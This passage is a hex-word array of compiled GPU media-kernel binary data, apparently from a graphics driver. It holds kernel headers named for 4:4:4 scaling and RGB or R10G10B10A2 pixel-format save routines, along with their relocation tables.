0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x334c505f, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x8000006f, 0x00000020, 0x80010070, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006c,
0x00000040, 0x3fff000c, 0x00000060, 0x3fff000d, 0x00000080, 0x3fff0014, 0x00000090, 0x3fff0015,
0x000000a0, 0x3fff001c, 0x000000b0, 0x3fff001d, 0x000000c0, 0x3fff0024, 0x000000d0, 0x3fff0025,
0x000000e0, 0x3fff002c, 0x000000f0, 0x3fff002d, 0x00000100, 0x3fff0034, 0x00000110, 0x3fff0035,
0x00000120, 0x3fff003c, 0x00000130, 0x3fff003d, 0x00000140, 0x3fff0044, 0x00000150, 0x3fff0045,
0x00000160, 0x3fff006b, 0x00000180, 0xbfff006d, 0x00000190, 0xbfff004a, 0x000001b0, 0xbfff004b,
0x00000210, 0xbfff004c, 0x00000230, 0xbfff004d, 0x00000290, 0xbfff004e, 0x000002b0, 0xbfff004f,
0x00000310, 0xbfff0050, 0x00000330, 0xbfff0051, 0x000003d0, 0x0000ffff, 0x00001e90, 0x3fff000a,
0x00001ea0, 0x3fff0012, 0x00001eb0, 0x3fff000b, 0x00001ec0, 0x3fff0013, 0x00001ed0, 0x3fff000e,
0x00001ee0, 0x3fff0016, 0x00001ef0, 0x3fff000f, 0x00001f00, 0x3fff0017, 0x00001f70, 0x3fff001a,
0x00001f80, 0x3fff0022, 0x00001f90, 0x3fff001b, 0x00001fa0, 0x3fff0023, 0x00001fb0, 0x3fff001e,
0x00001fc0, 0x3fff0026, 0x00001fd0, 0x3fff001f, 0x00001fe0, 0x3fff0027, 0x00002050, 0x3fff002a,
0x00002060, 0x3fff0032, 0x00002070, 0x3fff002b, 0x00002080, 0x3fff0033, 0x00002090, 0x3fff002e,
0x000020a0, 0x3fff0036, 0x000020b0, 0x3fff002f, 0x000020c0, 0x3fff0037, 0x00002130, 0x3fff003a,
0x00002140, 0x3fff0042, 0x00002150, 0x3fff003b, 0x00002160, 0x3fff0043, 0x00002170, 0x3fff003e,
0x00002180, 0x3fff0046, 0x00002190, 0x3fff003f, 0x000021a0, 0x3fff0047, 0x000021f0, 0x3fff0062,
0x000021f0, 0x3fff0063, 0x00002200, 0x3fff0064, 0x00002200, 0x3fff0065, 0x00002220, 0x3fff0000,
0x00002240, 0x3fff006c, 0x00002260, 0x00030052, 0x00002260, 0x00030053, 0x00002270, 0x0004006e,
0x00002270, 0x00040056, 0x00002270, 0x00040057, 0x000003c0, 0x0002004a, 0x000003c0, 0x0002004b,
0x000003c0, 0x0002004c, 0x000003c0, 0x0002004d, 0x000003c0, 0x0002004e, 0x000003c0, 0x0002004f,
0x000003c0, 0x00020050, 0x000003c0, 0x00020051, 0x00002260, 0x00030052, 0x00002260, 0x00030053,
0x00002270, 0x00040056, 0x00002270, 0x00040057, 0x000003c0, 0x0002006d, 0x00002260, 0x0003006e,
0x00002270, 0x0004006e, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000015, 0x00000005,
0x00000001, 0x00000044, 0x00000100, 0x00000006, 0x00000001, 0x00000144, 0x000001d0, 0x00000007,
0x00000001, 0x00000314, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000268, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x594c505f, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x8000006d, 0x00000020, 0x8001006e, 0x00000030, 0x3fff000c, 0x00000030, 0xbfff004a,
0x00000040, 0x3fff0014, 0x00000070, 0x3fff000d, 0x00000070, 0xbfff004b, 0x00000080, 0x3fff0015,
0x000000b0, 0x3fff001c, 0x000000b0, 0xbfff004c, 0x000000c0, 0x3fff0024, 0x000000f0, 0x3fff001d,
0x000000f0, 0xbfff004d, 0x00000100, 0x3fff0025, 0x00000130, 0x3fff002c, 0x00000130, 0xbfff004e,
0x00000140, 0x3fff0034, 0x00000170, 0x3fff002d, 0x00000170, 0xbfff004f, 0x00000180, 0x3fff0035,
0x000001b0, 0x3fff003c, 0x000001b0, 0xbfff0050, 0x000001c0, 0x3fff0044, 0x000001f0, 0x3fff003d,
0x000001f0, 0xbfff0051, 0x00000200, 0x3fff0045, 0x00000230, 0xbfff006c, 0x00000240, 0x3fff006b,
0x00000010, 0x3fff006d, 0x00000020, 0x00010000, 0x00000050, 0x3fff000c, 0x00000060, 0x3fff0014,
0x00000090, 0x3fff000d, 0x000000a0, 0x3fff0015, 0x000000d0, 0x3fff001c, 0x000000e0, 0x3fff0024,
0x00000110, 0x3fff001d, 0x00000120, 0x3fff0025, 0x00000150, 0x3fff002c, 0x00000160, 0x3fff0034,
0x00000190, 0x3fff002d, 0x000001a0, 0x3fff0035, 0x000001d0, 0x3fff003c, 0x000001e0, 0x3fff0044,
0x00000210, 0x3fff003d, 0x00000220, 0x3fff0045, 0x00000230, 0x3fff0000, 0x00000240, 0x3fff006b,
0x00000260, 0x3fff006e, 0x00000270, 0x0002006c, 0x00000270, 0x0002004a, 0x00000270, 0x0002004b,
0x00000270, 0x0002004c, 0x00000270, 0x0002004d, 0x00000270, 0x0002004e, 0x00000270, 0x0002004f,
0x00000270, 0x00020050, 0x00000270, 0x00020051, 0x00000270, 0x0002004a, 0x00000270, 0x0002004b,
0x00000270, 0x0002004c, 0x00000270, 0x0002004d, 0x00000270, 0x0002004e, 0x00000270, 0x0002004f,
0x00000270, 0x00020050, 0x00000270, 0x00020051, 0x00000270, 0x0002006c, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000015, 0x00000005, 0x00000001, 0x00000044, 0x000000e8, 0x00000006,
0x00000001, 0x0000012c, 0x00000138, 0x00000007, 0x00000001, 0x00000264, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x00000374, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x3031525f, 0x42303147, 0x00003031, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020,
0x8001006d, 0x00000030, 0x3fff0002, 0x00000040, 0xbfff006e, 0x00000050, 0x3fff006b, 0x00000050,
0xbfff006f, 0x00000060, 0x3fff000a, 0x00000090, 0x3fff000b, 0x000000b0, 0x3fff000c, 0x000000d0,
0x3fff000d, 0x000000f0, 0x3fff000e, 0x00000110, 0x3fff000f, 0x00000150, 0xbfff004a, 0x00000260,
0x0000ffff, 0x000003e0, 0x3fff000e, 0x00000430, 0x3fff000f, 0x00000450, 0x3fff000c, 0x00000490,
0x3fff000a, 0x000004b0, 0x3fff000d, 0x000004c0, 0x3fff000b, 0x00000530, 0x3fff0070, 0x00000850,
0x3fff001e, 0x000008a0, 0x3fff001f, 0x000008c0, 0x3fff001c, 0x00000900, 0x3fff001a, 0x00000920,
0x3fff001d, 0x00000930, 0x3fff001b, 0x00000990, 0x3fff0072, 0x00000990, 0x3fff0071, 0x00000d00,
0x3fff0016, 0x00000d60, 0x3fff0017, 0x00000d80, 0x3fff0014, 0x00000dc0, 0x3fff0012, 0x00000de0,
0x3fff0015, 0x00000df0, 0x3fff0013, 0x00000e70, 0x3fff0074, 0x00000e70, 0x3fff0073, 0x00001190,
0x3fff0026, 0x000011e0, 0x3fff0027, 0x00001200, 0x3fff0024, 0x00001240, 0x3fff0022, 0x00001260,
0x3fff0025, 0x00001270, 0x3fff0023, 0x000012d0, 0x3fff0076, 0x000012d0, 0x3fff0075, 0x00001650,
0x3fff002e, 0x000016b0, 0x3fff002f, 0x000016d0, 0x3fff002c, 0x00001710, 0x3fff002a, 0x00001730,
0x3fff002d, 0x00001740, 0x3fff002b, 0x000017c0, 0x3fff0078, 0x000017c0, 0x3fff0077, 0x00001ae0,
0x3fff003e, 0x00001b30, 0x3fff003f, 0x00001b50, 0x3fff003c, 0x00001b90, 0x3fff003a, 0x00001bb0,
0x3fff003d, 0x00001bc0, 0x3fff003b, 0x00001c20, 0x3fff007a, 0x00001c20, 0x3fff0079, 0x00001f90,
0x3fff0036, 0x00001ff0, 0x3fff0037, 0x00002010, 0x3fff0034, 0x00002050, 0x3fff0032, 0x00002070,
0x3fff0035, 0x00002080, 0x3fff0033, 0x00002100, 0x3fff007c, 0x00002100, 0x3fff007b, 0x00002420,
0x3fff0046, 0x00002450, 0x3fff006d, 0x00002460, 0x3fff006e, 0x00002470, 0x3fff0047, 0x00002490,
0x3fff0044, 0x000024b0, 0x3fff006c, 0x000024d0, 0x3fff0042, 0x000024f0, 0x3fff0045, 0x00002500,
0x3fff0043, 0x00002560, 0x3fff007e, 0x00002560, 0x3fff007d, 0x00002590, 0x3fff006f, 0x000025a0,
0xbfff006b, 0x000025b0, 0x0005004a, 0x000025b0, 0x0005004b, 0x000025b0, 0x0005004c, 0x000025b0,
0x0005004d, 0x000025b0, 0x0005004e, 0x000025b0, 0x0005004f, 0x000025b0, 0x00050050, 0x000025b0,
0x00050051, 0x000025b0, 0x00050052, 0x000025b0, 0x0005004a, 0x000025b0, 0x0005004b, 0x000025b0,
0x0005004c, 0x000025b0, 0x0005004d, 0x000025b0, 0x0005004e, 0x000025b0, 0x0005004f, 0x000025b0,
0x00050050, 0x000025b0, 0x00050051, 0x000025b0, 0x00050052, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x0000001b, 0x00000005, 0x00000001, 0x00000048, 0x00000078, 0x00000006, 0x00000001,
0x000000c0, 0x000002b0, 0x00000007, 0x00000001, 0x00000370, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000003e8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x3031525f, 0x42303147, 0x32413031, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0002, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff006d, 0x00000050, 0x3fff000a,
0x00000080, 0x3fff000b, 0x000000a0, 0x3fff000c, 0x000000c0, 0x3fff000d, 0x000000e0, 0x3fff000e,
0x00000100, 0x3fff000f, 0x00000120, 0x3fff0010, 0x00000140, 0x3fff0011, 0x00000170, 0xbfff004a,
0x000002b0, 0x0000ffff, 0x00000500, 0x3fff000e, 0x00000520, 0x3fff0010, 0x00000530, 0x3fff000c,
0x00000550, 0x3fff000a, 0x000005c0, 0x3fff000b, 0x000005e0, 0x3fff000f, 0x00000600, 0x3fff000d,
0x00000630, 0x3fff0011, 0x00000650, 0x3fff006e, 0x00000ad0, 0x3fff001e, 0x00000af0, 0x3fff0020,
0x00000b00, 0x3fff001c, 0x00000b20, 0x3fff001a, 0x00000b90, 0x3fff001b, 0x00000bb0, 0x3fff001f,
0x00000bd0, 0x3fff001d, 0x00000c00, 0x3fff0021, 0x00000c10, 0x3fff0070, 0x00000c10, 0x3fff006f,
0x000010f0, 0x3fff0016, 0x00001110, 0x3fff0018, 0x00001120, 0x3fff0014, 0x00001140, 0x3fff0012,
0x000011b0, 0x3fff0013, 0x000011d0, 0x3fff0017, 0x000011f0, 0x3fff0015, 0x00001220, 0x3fff0019,
0x00001250, 0x3fff0072, 0x00001250, 0x3fff0071, 0x000016d0, 0x3fff0026, 0x000016f0, 0x3fff0028,
0x00001700, 0x3fff0024, 0x00001720, 0x3fff0022, 0x00001790, 0x3fff0023, 0x000017b0, 0x3fff0027,
0x000017d0, 0x3fff0025, 0x00001800, 0x3fff0029, 0x00001810, 0x3fff0074, 0x00001810, 0x3fff0073,
0x00001d00, 0x3fff002e, 0x00001d20, 0x3fff0030, 0x00001d30, 0x3fff002c, 0x00001d50, 0x3fff002a,
0x00001dc0, 0x3fff002b, 0x00001de0, 0x3fff002f, 0x00001e00, 0x3fff002d, 0x00001e30, 0x3fff0031,
0x00001e60, 0x3fff0076, 0x00001e60, 0x3fff0075, 0x000022e0, 0x3fff003e, 0x00002300, 0x3fff0040,
0x00002310, 0x3fff003c, 0x00002330, 0x3fff003a, 0x000023a0, 0x3fff003b, 0x000023c0, 0x3fff003f,
0x000023e0, 0x3fff003d, 0x00002410, 0x3fff0041, 0x00002420, 0x3fff0078, 0x00002420, 0x3fff0077,
0x00002900, 0x3fff0036, 0x00002920, 0x3fff0038, 0x00002930, 0x3fff0034, 0x00002950, 0x3fff0032,
0x000029c0, 0x3fff0033, 0x000029e0, 0x3fff0037, 0x00002a00, 0x3fff0035, 0x00002a30, 0x3fff0039,
0x00002a60, 0x3fff007a, 0x00002a60, 0x3fff0079, 0x00002ee0, 0x3fff0046, 0x00002f00, 0x3fff0048,
0x00002f10, 0x3fff0044, 0x00002f30, 0x3fff0042, 0x00002fa0, 0x3fff0043, 0x00002fc0, 0x3fff0047,
0x00002fe0, 0x3fff0045, 0x00003010, 0x3fff0049, 0x00003020, 0x3fff007c, 0x00003020, 0x3fff007b,
0x00003050, 0x3fff006d, 0x00003060, 0x3fff006c, 0x00003070, 0xbfff006b, 0x00003080, 0x0005004a,
0x00003080, 0x0005004b, 0x00003080, 0x0005004c, 0x00003080, 0x0005004d, 0x00003080, 0x0005004e,
0x00003080, 0x0005004f, 0x00003080, 0x00050050, 0x00003080, 0x00050051, 0x00003080, 0x00050052,
0x00003080, 0x0005004a, 0x00003080, 0x0005004b, 0x00003080, 0x0005004c, 0x00003080, 0x0005004d,
0x00003080, 0x0005004e, 0x00003080, 0x0005004f, 0x00003080, 0x00050050, 0x00003080, 0x00050051,
0x00003080, 0x00050052, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005,
0x00000001, 0x0000004c, 0x00000078, 0x00000006, 0x00000001, 0x000000c4, 0x00000320, 0x00000007,
0x00000001, 0x000003e4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000338, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x4247525f, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000040, 0x3fff006b,
0x00000040, 0xbfff0075, 0x00000050, 0x3fff000c, 0x00000080, 0x3fff000d, 0x000000a0, 0xbfff0076,
0x000000c0, 0x0000ffff, 0x00000240, 0x3fff000a, 0x00000250, 0x3fff000e, 0x000002c0, 0x3fff000b,
0x000002d0, 0x3fff000f, 0x000002e0, 0x3fff000c, 0x00000300, 0x3fff000d, 0x00000540, 0x3fff001a,
0x00000550, 0x3fff001e, 0x000005c0, 0x3fff001b, 0x000005d0, 0x3fff001f, 0x000005e0, 0x3fff001c,
0x00000600, 0x3fff001d, 0x00000890, 0x3fff0012, 0x000008a0, 0x3fff0016, 0x00000910, 0x3fff0013,
0x00000920, 0x3fff0017, 0x00000930, 0x3fff0014, 0x00000950, 0x3fff0015, 0x00000ba0, 0x3fff0022,
0x00000bb0, 0x3fff0026, 0x00000c20, 0x3fff0023, 0x00000c30, 0x3fff0027, 0x00000c40, 0x3fff0024,
0x00000c60, 0x3fff0025, 0x00000ce0, 0x3fff0077, 0x00000f00, 0x3fff002a, 0x00000f10, 0x3fff002e,
0x00000f80, 0x3fff002b, 0x00000f90, 0x3fff002f, 0x00000fa0, 0x3fff002c, 0x00000fc0, 0x3fff002d,
0x00001080, 0x3fff0078, 0x00001210, 0x3fff003a, 0x00001220, 0x3fff003e, 0x00001290, 0x3fff003b,
0x000012a0, 0x3fff003f, 0x000012b0, 0x3fff003c, 0x000012d0, 0x3fff003d, 0x00001330, 0x3fff0074,
0x00001360, 0x3fff0079, 0x00001380, 0x3fff0075, 0x00001570, 0x3fff0032, 0x00001580, 0x3fff0036,
0x000015f0, 0x3fff0033, 0x00001600, 0x3fff0037, 0x00001610, 0x3fff0034, 0x00001630, 0x3fff0035,
0x000016f0, 0x3fff007a, 0x00001880, 0x3fff0042, 0x00001890, 0x3fff0046, 0x000018e0, 0x3fff006e,
0x00001900, 0x3fff0043, 0x00001910, 0x3fff0047, 0x00001920, 0x3fff006f, 0x00001920, 0x3fff0044,
0x00001930, 0x3fff0072, 0x00001940, 0x3fff0045, 0x00001950, 0x3fff0070, 0x00001950, 0x3fff0071,
0x00001960, 0x3fff0073, 0x00001990, 0x3fff0002, 0x000019a0, 0x3fff0000, 0x000019b0, 0x3fff007b,
0x000019b0, 0x3fff006c, 0x000019d0, 0x3fff0076, 0x000019e0, 0xbfff006b, 0x000019f0, 0x0005006d,
0x000019f0, 0x0005004a, 0x000019f0, 0x0005004b, 0x000019f0, 0x0005004c, 0x000019f0, 0x0005004d,
0x000019f0, 0x0005004e, 0x000019f0, 0x0005004f, 0x000019f0, 0x00050050, 0x000019f0, 0x00050051,
0x000019f0, 0x0005004a, 0x000019f0, 0x0005004b, 0x000019f0, 0x0005004c, 0x000019f0, 0x0005004d,
0x000019f0, 0x0005004e, 0x000019f0, 0x0005004f, 0x000019f0, 0x00050050, 0x000019f0, 0x00050051,
0x000019f0, 0x0005006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000015, 0x00000005,
0x00000001, 0x00000044, 0x00000050, 0x00000006, 0x00000001, 0x00000094, 0x000002a0, 0x00000007,
0x00000001, 0x00000334, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000568, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x4247525f, 0x00003631, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0014, 0x00000030, 0xbfff0072,
0x00000040, 0xbfff0079, 0x00000050, 0x3fff0016, 0x00000050, 0xbfff0071, 0x00000060, 0x3fff0012,
0x00000060, 0xbfff0073, 0x00000070, 0xbfff0078, 0x00000080, 0xbfff007a, 0x000000b0, 0x3fff000c,
0x000000b0, 0xbfff006f, 0x000000c0, 0xbfff0076, 0x000000d0, 0x3fff000d, 0x000000d0, 0xbfff007d,
0x000000e0, 0xbfff0074, 0x000000f0, 0xbfff007b, 0x00000100, 0x3fff000e, 0x00000100, 0xbfff006e,
0x00000110, 0x3fff000a, 0x00000110, 0xbfff0070, 0x00000120, 0xbfff0075, 0x00000130, 0xbfff0077,
0x00000140, 0x3fff000f, 0x00000140, 0xbfff007c, 0x00000150, 0x3fff000b, 0x00000150, 0xbfff007e,
0x00000170, 0x3fff0015, 0x000001b0, 0xbfff004a, 0x000001c0, 0xbfff004b, 0x000001e0, 0x3fff0024,
0x000001f0, 0x3fff0017, 0x00000210, 0x3fff0026, 0x00000250, 0xbfff004c, 0x00000280, 0x3fff0013,
0x000002a0, 0x3fff0022, 0x000002c0, 0x3fff001c, 0x00000320, 0x3fff001a, 0x00000340, 0x3fff001e,
0x000003a0, 0xbfff004d, 0x000003b0, 0xbfff004e, 0x000003e0, 0x3fff0025, 0x00000410, 0x3fff001d,
0x00000420, 0x3fff0027, 0x00000470, 0xbfff004f, 0x000004c0, 0x3fff0023, 0x000004e0, 0x3fff001b,
0x00000520, 0x3fff001f, 0x00000570, 0x3fff002c, 0x00000590, 0xbfff0050, 0x000005a0, 0xbfff0051,
0x000005b0, 0x3fff002e, 0x000005f0, 0x3fff006b, 0x00000630, 0x3fff002a, 0x00000660, 0x3fff002d,
0x00000670, 0x3fff0034, 0x000006b0, 0x3fff0035, 0x000006c0, 0x3fff0037, 0x000006e0, 0x3fff002f,
0x000006f0, 0x3fff0036, 0x00000700, 0x3fff0032, 0x00000740, 0x3fff002b, 0x00000790, 0x3fff0033,
0x00000810, 0x3fff0044, 0x00000830, 0x3fff003c, 0x00000860, 0x3fff0042, 0x000008a0, 0x3fff003e,
0x000008b0, 0x3fff003a, 0x00000950, 0x3fff0046, 0x000009c0, 0x3fff0045, 0x00000a00, 0x3fff0043,
0x00000a20, 0x3fff003d, 0x00000aa0, 0x3fff0047, 0x00000ad0, 0x3fff003f, 0x00000ae0, 0x3fff003b,
0x00000020, 0x00010000, 0x00000040, 0x3fff0014, 0x00000070, 0x3fff0016, 0x00000080, 0x3fff0012,
0x000000c0, 0x3fff000c, 0x00000120, 0x3fff000e, 0x00000130, 0x3fff000a, 0x000001d0, 0x3fff0015,
0x00000200, 0x3fff0017, 0x00000290, 0x3fff0013, 0x000002b0, 0x3fff000d, 0x00000300, 0x3fff001c,
0x00000310, 0x3fff000b, 0x00000330, 0x3fff000f, 0x00000350, 0x3fff001e, 0x00000380, 0x3fff001a,
0x000003d0, 0x3fff0024, 0x000003f0, 0x3fff0025, 0x00000400, 0x3fff0026, 0x00000430, 0x3fff001d,
0x00000440, 0x3fff0027, 0x000004b0, 0x3fff0022, 0x000004d0, 0x3fff0023, 0x000004f0, 0x3fff001b,
0x00000530, 0x3fff001f, 0x00000580, 0x3fff0000, 0x00000650, 0x3fff002c, 0x00000680, 0x3fff0034,
0x000006d0, 0x3fff002e, 0x00000710, 0x3fff0036, 0x00000720, 0x3fff0032, 0x00000730, 0x3fff002a,
0x00000800, 0x3fff0035, 0x00000820, 0x3fff002d, 0x00000840, 0x3fff003c, 0x00000850, 0x3fff0033,
0x00000870, 0x3fff002f, 0x00000880, 0x3fff002b, 0x000008d0, 0x3fff003e, 0x000008e0, 0x3fff003a,
0x00000940, 0x3fff0037, 0x000009b0, 0x3fff0044, 0x000009d0, 0x3fff0045, 0x000009f0, 0x3fff0042,
0x00000a10, 0x3fff0043, 0x00000a40, 0x3fff003d, 0x00000a80, 0x3fff0046, 0x00000ab0, 0x3fff0047,
0x00000af0, 0x3fff003f, 0x00000b00, 0x3fff003b, 0x00000b30, 0x3fff0072, 0x00000b30, 0x3fff0071,
0x00000b30, 0x3fff0073, 0x00000b40, 0x3fff0079, 0x00000b40, 0x3fff0078, 0x00000b40, 0x3fff007a,
0x00000b50, 0x3fff006c, 0x00000b50, 0x3fff006f, 0x00000b60, 0x3fff006e, 0x00000b70, 0x3fff0076,
0x00000b70, 0x3fff0075, 0x00000b70, 0x3fff0077, 0x00000b80, 0x3fff007d, 0x00000b80, 0x3fff007c,
0x00000b80, 0x3fff007e, 0x00000b90, 0x3fff0074, 0x00000ba0, 0x3fff007b, 0x00000bb0, 0x3fff0070,
0x00000bc0, 0xbfff006b, 0x00000bd0, 0x0003006d, 0x00000bd0, 0x0003004a, 0x00000bd0, 0x0003004b,
0x00000bd0, 0x0003004c, 0x00000bd0, 0x0003004d, 0x00000bd0, 0x0003004e, 0x00000bd0, 0x0003004f,
0x00000bd0, 0x00030050, 0x00000bd0, 0x00030051, 0x00000bd0, 0x0003004a, 0x00000bd0, 0x0003004b,
0x00000bd0, 0x0003004c, 0x00000bd0, 0x0003004d, 0x00000bd0, 0x0003004e, 0x00000bd0, 0x0003004f,
0x00000bd0, 0x00030050, 0x00000bd0, 0x00030051, 0x00000bd0, 0x0003006d, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000268, 0x00000006,
0x00000001, 0x000002ac, 0x000002b8, 0x00000007, 0x00000001, 0x00000564, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000005f8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x4247525f, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x8000006d, 0x00000020, 0x8001006e,
0x00000030, 0x3fff000c, 0x00000040, 0x3fff000d, 0x00000050, 0x3fff0014, 0x00000060, 0x3fff0015,
0x00000070, 0x3fff001c, 0x00000080, 0x3fff001d, 0x00000090, 0x3fff0024, 0x000000a0, 0x3fff0025,
0x000000b0, 0x3fff002c, 0x000000c0, 0x3fff002d, 0x000000d0, 0x3fff0034, 0x000000e0, 0x3fff0035,
0x000000f0, 0x3fff003c, 0x00000100, 0x3fff003d, 0x00000110, 0x3fff0044, 0x00000120, 0x3fff0045,
0x00000130, 0x3fff000e, 0x00000140, 0x3fff000f, 0x00000150, 0x3fff0016, 0x00000160, 0x3fff0017,
0x00000170, 0x3fff001e, 0x00000180, 0x3fff001f, 0x00000190, 0x3fff0026, 0x000001a0, 0x3fff0027,
0x000001b0, 0x3fff002e, 0x000001c0, 0x3fff002f, 0x000001d0, 0x3fff0036, 0x000001e0, 0x3fff0037,
0x000001f0, 0x3fff003e, 0x00000200, 0x3fff003f, 0x00000210, 0x3fff0046, 0x00000220, 0x3fff0047,
0x00000230, 0x3fff000a, 0x00000240, 0x3fff000b, 0x00000250, 0x3fff0012, 0x00000260, 0x3fff0013,
0x00000270, 0x3fff001a, 0x00000280, 0x3fff001b, 0x00000290, 0x3fff0022, 0x000002a0, 0x3fff0023,
0x000002b0, 0x3fff002a, 0x000002c0, 0x3fff002b, 0x000002d0, 0x3fff0032, 0x000002e0, 0x3fff0033,
0x000002f0, 0x3fff003a, 0x00000300, 0x3fff003b, 0x00000310, 0x3fff0042, 0x00000320, 0x3fff0043,
0x00000330, 0xbfff006c, 0x00000340, 0xbfff0052, 0x00000360, 0xbfff0053, 0x000003c0, 0xbfff0054,
0x000003e0, 0xbfff0055, 0x00000440, 0xbfff0056, 0x00000460, 0xbfff0057, 0x000004c0, 0xbfff0058,
0x000004e0, 0xbfff0059, 0x00000540, 0xbfff005a, 0x00000560, 0xbfff005b, 0x000005c0, 0xbfff005c,
0x000005e0, 0xbfff005d, 0x00000640, 0xbfff005e, 0x00000660, 0xbfff005f, 0x000006c0, 0xbfff0060,
0x000006e0, 0xbfff0061, 0x00000740, 0xbfff004a, 0x00000760, 0xbfff004b, 0x000007c0, 0xbfff004c,
0x000007e0, 0xbfff004d, 0x00000840, 0xbfff004e, 0x00000860, 0xbfff004f, 0x000008c0, 0xbfff0050,
0x000008e0, 0xbfff0051, 0x00000940, 0x3fff006b, 0x00000010, 0x3fff006d, 0x00000020, 0x00010000,
0x00000330, 0x3fff0000, 0x00000350, 0x3fff000c, 0x00000370, 0x3fff000d, 0x00000390, 0x3fff0014,
0x000003b0, 0x3fff0015, 0x000003d0, 0x3fff001c, 0x000003f0, 0x3fff001d, 0x00000410, 0x3fff0024,
0x00000430, 0x3fff0025, 0x00000450, 0x3fff002c, 0x00000470, 0x3fff002d, 0x00000490, 0x3fff0034,
0x000004b0, 0x3fff0035, 0x000004d0, 0x3fff003c, 0x000004f0, 0x3fff003d, 0x00000510, 0x3fff0044,
0x00000530, 0x3fff0045, 0x00000550, 0x3fff000e, 0x00000570, 0x3fff000f, 0x00000590, 0x3fff0016,
0x000005b0, 0x3fff0017, 0x000005d0, 0x3fff001e, 0x000005f0, 0x3fff001f, 0x00000610, 0x3fff0026,
0x00000630, 0x3fff0027, 0x00000650, 0x3fff002e, 0x00000670, 0x3fff002f, 0x00000690, 0x3fff0036,
0x000006b0, 0x3fff0037, 0x000006d0, 0x3fff003e, 0x000006f0, 0x3fff003f, 0x00000710, 0x3fff0046,
0x00000730, 0x3fff0047, 0x00000750, 0x3fff000a, 0x00000770, 0x3fff000b, 0x00000790, 0x3fff0012,
0x000007b0, 0x3fff0013, 0x000007d0, 0x3fff001a, 0x000007f0, 0x3fff001b, 0x00000810, 0x3fff0022,
0x00000830, 0x3fff0023, 0x00000850, 0x3fff002a, 0x00000870, 0x3fff002b, 0x00000890, 0x3fff0032,
0x000008b0, 0x3fff0033, 0x000008d0, 0x3fff003a, 0x000008f0, 0x3fff003b, 0x00000910, 0x3fff0042,
0x00000930, 0x3fff0043, 0x00000940, 0x3fff006b, 0x00000960, 0x3fff006e, 0x00000970, 0x00020052,
0x00000970, 0x00020053, 0x00000970, 0x00020054, 0x00000970, 0x00020055, 0x00000970, 0x00020056,
0x00000970, 0x00020057, 0x00000970, 0x00020058, 0x00000970, 0x00020059, 0x00000980, 0x0003005a,
0x00000980, 0x0003005b, 0x00000980, 0x0003005c, 0x00000980, 0x0003005d, 0x00000980, 0x0003005e,
0x00000980, 0x0003005f, 0x00000980, 0x00030060, 0x00000980, 0x00030061, 0x00000990, 0x0004006c,
